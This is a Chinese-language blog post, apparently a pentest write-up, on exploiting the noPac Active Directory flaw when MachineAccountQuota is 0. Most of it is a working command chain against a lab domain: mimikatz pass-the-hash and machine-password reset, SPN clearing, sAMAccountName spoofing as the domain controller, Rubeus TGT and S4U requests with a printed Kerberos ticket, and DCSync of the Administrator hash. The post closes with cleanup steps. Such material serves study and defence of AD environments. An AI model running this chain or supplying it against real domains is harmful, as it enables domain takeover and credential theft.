noPac MAQ = 0 的突破

本文主要记录了当 MAQ = 0 时, noPac 的利用姿势.

MS-DS-Machine-Account-Quota

MAQ (MS-DS-Machine-Account-Quota), 此属性为: 允许域用户在域中创建的计算机帐户数量, 当 MAQ = 0 时便不能创建计算机帐户.

这里有两种方法突破 MAQ = 0 的限制:

  1. 拿到 “将计算机拉入域中的帐户” 的权限.

  2. 拿到具有 “SeMachineAccountPrivilege” 权限的帐户.

先解释一下第一种方法:

  • 将计算机拉入域中的帐户默认便对该计算机帐户有 WriteProperty 权限, 计算机帐户中的 mS-DS-CreatorSID 这个属性的 SID 就是拉它入域的 用户 SID, 那么便可以去查找域内存在 mS-DS-CreatorSID 的计算机帐户, 然后对应找到域用户帐户, 在拿到其权限后便可修改对应的计算机帐户属性, 从而实现该漏洞的利用.

再来解释下第二种方法:

  • 有的企业会设置专门用来 加入域的组 (这个组中的这些帐户都能用来将计算机拉入域中) 或者 帐户, 这些帐户具有 SeMachineAccountPrivilege 权限 (“将工作站添加到域” 属性), 后续可以重点留意下这些帐户, 默认 Authenticater Users (身份验证的用户) 具备 SeMachineAccountPrivilege.

gpmc.msc 打开 “组策略管理”.

计算机配置 –> 策略 –> Windows 设置 –> 安全设置 –> 本地策略 –> 用户权限分配 –> 将工作站添加到域.

一旦我们拿到这些域用户帐户的权限, 就可以对其拉入域中的计算机帐户进行操作, 从而绕过 MAQ = 0 的限制, 达到我们利用漏洞的目的.

利用过程

查询每个域机器是由哪个域用户拉入域的

通过 mS-DS-CreatorSID 来判断哪些机器是由哪些域用户的拉进域内的.

如果一个计算机帐户没有 mS-DS-CreatorSID, 那么他是被域管拉入到域内的.

AdFind.exe -h 192.168.1.2 -u ligang -up ligang -b "DC=missyou, DC=com" -f "objectClass=computer" mS-DS-CreatorSID

查看 S-1-5-21-3168693938-3984985196-3138901273-1105 是谁.

AdFind.exe -b "DC=missyou, DC=com" -f "(&(objectsid=S-1-5-21-3168693938-3984985196-3138901273-1105))" objectclass cn dn

同样可以通过用户的 SID 查看哪些域机器是通过该用户加入到域内的:

Import-Module .\PowerView.ps1
ConvertTo-SID "missyou\wangxiaohong"
AdFind.exe -b "DC=missyou, DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3168693938-3984985196-3138901273-1105))" cn sAMAccountType objectCategory

模拟用户身份

此时假设我们通过其他手段已经拿到了 wangxiaohong 的密码.

如果拿到的是明文密码, 直接使用 runas 或者其他方式即可, 如果拿到的是 Hash 且解不开可用 mimikatz 的 hash 注入来模拟 wangxiaohong 身份 (Hash 注入需要 privilege::debug 权限).

mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:wangxiaohong /domain:missyou.com /ntlm:68839665b6fc20e8b8239f9682623102

查看计算机帐户的 SPN 信息

setspn -L WIN-2008R2-2$

更改计算机帐户的密码

由于我们并不知道计算机帐户的密码, 所以我们更改计算机帐户的密码 (通常情况下我们都不知道计算机帐户的密码或 Hash). Windows Server 2008 的域控好像不记录历史 Hash, 目前碰到的环境 Windows Server 2008 并无历史 Hash, 后续碰到在看, 不知道是不是当前环境同步的问题.

为了避免修改密码后出现潜在的问题, 当我们 DCSync 获取到域管权限后, 将其恢复.

可以通过 MS-SAMR 协议来修改计算机帐户的密码, 此处利用 Mimikatz.

mimikatz # lsadump::setntlm /server:DC /user:WIN-2008R2-2$ /password:1234


这里有一个问题:

只是针对此处通过 MS-SAMR 协议更改密码后会出现的问题, 在其他情况下通过 MS-SAMR 协议更改密码不知道是否存在同样问题.

通过 MS-SAMR 协议更改了计算机帐户的密码的话, 这将导致对应的计算机帐户在 活动目录 中的密码和在 本地注册表 以及 lsass 进程中 的密码不一致, 在恢复历史密码之前, 这台机器就登陆不了域了, 会提示 “此工作站和主域间的信任关系失败”.

Win-2008$ 在活动目录中的 Hash:

Win-2008$ 在 lsass 进程中的 Hash:

直至恢复历史的密码后才能继续登陆域内.

lsadump::setntlm /server:DC /user:web$ /ntlm:524b61e4bcae961ce4ff67eb4739ad83

所以通过 MS-SAMR 协议更改密码这种操作还是有风险的, 但是在没有更好的办法时, 也算是一种可行的方法吧.

清除计算机帐户的 SPN

使用 PowerView.ps1 清空计算机帐户的 SPN 信息

Set-DomainObject "CN=WIN-2008R2-2, CN=Computers, DC=missyou, DC=com" -Clear 'serviceprincipalname' -DomainController "DC.missyou.com"

更改计算机帐户的 sAMAccountName

利用 Powermad.ps1 更改计算机帐户的 sAMAccountName 为域控的主机名, 注意这里不带 $.

Set-MachineAccountAttribute -MachineAccount "WIN-2008R2-2" -Value "DC" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose

通过计算机帐户申请 TGT

Rubeus3.5.exe asktgt /user:"DC" /password:"1234" /domain:"missyou.com" /dc:"DC.missyou.com" /nowrap

恢复计算机帐户的 sAMAccountName

利用 Powermad.ps1 恢复更改的计算机帐户的 sAMAccountName.

Set-MachineAccountAttribute -MachineAccount "WIN-2008R2-2" -Value "WIN-2008R2-2$" -Attribute 'sAMAccountName' -DomainController "DC.missyou.com" -Verbose

获取 ST

Rubeus3.5.exe s4u /self /impersonateuser:"administrator" /altservice:"LDAP/DC.missyou.com" /dc:"DC.missyou.com" /ptt /ticket:doIEsDCCBKygAwIBBaEDAgEWooIDzjCCA8phggPGMIIDwqADAgEFoQ0bC01JU1NZT1UuQ09NoiAwHqADAgECoRcwFRsGa3JidGd0GwttaXNzeW91LmNvbaOCA4gwggOEoAMCARKhAwIBAqKCA3YEggNyAMuTwwBIggeu+WzgCv9ixtwaPs4LsDh7sLXfwBSDPHvrC72VJEHDXXPicFsDW9NpdG09QuyN7Y/O/e60LMkhDrMnoLUTx2I9sS9pNsT19DV2Vnx92J6LxanSAUBsDlRLmAfxl/Dfeyh5nqmfbGPX6RDEqHX9Y4zAMDcw1A/8Z0asETkw/Kd/VHnnDWAerbxWtQETqYzzsUNXgTTxlImfGyKP3ooSz66IJ1SuUxkcBTZOEwdZH5Oa5AFKpDfElQcy22kJ7L8crgndyEBq/JAZzE+wKpoAKnfG3YyCc1GywJoRfzl7dfLCWJ9cw8e1fOQfjzXQvl5jx7DqEjrgt1PX7SSmQX+wKo0vhh1Dt0SGR9XPNRbFeRJkplsJuvFKVnCzjzGkoh+CbQfkkMfqwNuDY47u12nbKtZMlU6mFOG6fAfbzpElUikOi99BjUKKQubPcL/YNd99JcYioKSPTQgsS304uW9LKL8hUSat43CKEJaWwJEg71wgj8DhmCYjlnTtBVftWWVssK4WvKJzXqzR0AzNwqkobIuSDTzSO4VwfViPVyvPO3KfU+rpsYq8YTVBcxY2x9D9Y7bm38eqxb4esL66PtwFLOCLGNKsOW/Lf8hKOXScByyQH38oHV/yp4byTZZVDxrp16xbbdnasquzTPVkeXCaSSk0RA0VzSBTVxtgykyfIKCe2hq5Kl9YKB0ZCcxdjKxk3a9+sjCRHk7SZNp6UxMYCTrKycOcuk4fddFzOs0VQ33R/badACztK5nXrWcatis5WrfsswwlaaGa0tJjTUWDPeDzgwVIQENx8sMmvSWQPZRU4j7tO1C1U3pnI9kxDYjpYlUSbeRDaNbALQpEZ3Rnx80G8hQCRCDJs4ckf9DGT2HgBfoFU7Z+zNPJOPYaStnGvUkwgO108RgoIlmJgE79U8JSwzt2v6Y0wfnoZr4ZFg6s/EmtzEnj+/YKJIQ53rKY5Tbftzy2iWX61fc4uhBrnjTdQdxjQiXwoSoISvOLRn5ynaDQjVWFFiJkG1P8vnGFzVKj4JkXrbkbPgV9cn1wz/82cSXdFHKFwp6xDoQXJ+piA0QjEYibMXtIJvJjRR8RkPA3JT3mOog8oWpyPIvrK1tq2rMQC1rcX67is62eYj/GNLWk3HpbAN45dXkHXBG8DF/r0h8LVTfYRoP7o4HNMIHKoAMCAQCigcIEgb99gbwwgbmggbYwgbMwgbCgGzAZoAMCARehEgQQhyFszBsf5qq5CbvTNs1TDaENGwtNSVNTWU9VLkNPTaIPMA2gAwIBAaEGMAQbAkRDowcDBQBA4QAApREYDzIwMjIwOTIxMDg0MDIxWqYRGA8yMDIyMDkyMTE4NDAyMVqnERgPMjAyMjA5MjgwODQwMjFaqA0bC01JU1NZT1UuQ09NqSAwHqADAgECoRcwFRsGa3JidGd0GwttaXNzeW91LmNvbQ==

注意这里获取的是 LDAP 服务的 ST, 所以我们可以 DumpHash, 而不能访问文件服务, 访问文件服务的话可以获取 CIFS 服务的 ST.

DCSync

mimikatz # lsadump::DCSync /domain:missyou.com /kdc:DC.missyou.com /user:Administrator

恢复计算机帐户的 SPN 信息

恢复 SPN 是与查看 SPN 顺序相反的, 是依次压入的, 所以要从下往上恢复.

setspn -S HOST/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S RestrictedKrbHost/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S HOST/WIN-2008R2-2 WIN-2008R2-2$
setspn -S RestrictedKrbHost/WIN-2008R2-2 WIN-2008R2-2$
setspn -S MSSQLSvc/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S MSSQLSvc/WIN-2008R2-2.missyou.com:1433 WIN-2008R2-2$
setspn -S TERMSRV/WIN-2008R2-2.missyou.com WIN-2008R2-2$
setspn -S TERMSRV/WIN-2008R2-2 WIN-2008R2-2$

查看是否恢复成功

setspn -L WIN-2008R2-2$

恢复计算机帐户的历史 Hash

拿到域管权限后, 先查看下我们更改了密码的计算机帐户的历史 Hash, 并将其恢复, 防止出现不可控的问题.

lsadump::DCSync /domain:missyou.com /server:DC /user:WIN-2008R2-2$

0 是当前 Hash, 从 1 开始是历史 Hash, 历史 Hash 是按照修改顺序依次排列.

恢复历史 Hash.

lsadump::setntlm /server:DC /user:WIN-2008R2-2$ /ntlm:fd74002b8a54ca0bdef77a0a372e4fa8

查看是否恢复成功.

lsadump::DCSync /domain:missyou.com /server:DC /user:WIN-2008R2-2$

感谢耐心阅读, 文章仅供参考, 本人学艺不精, 不足之处欢迎师傅们指点和纠正!

0%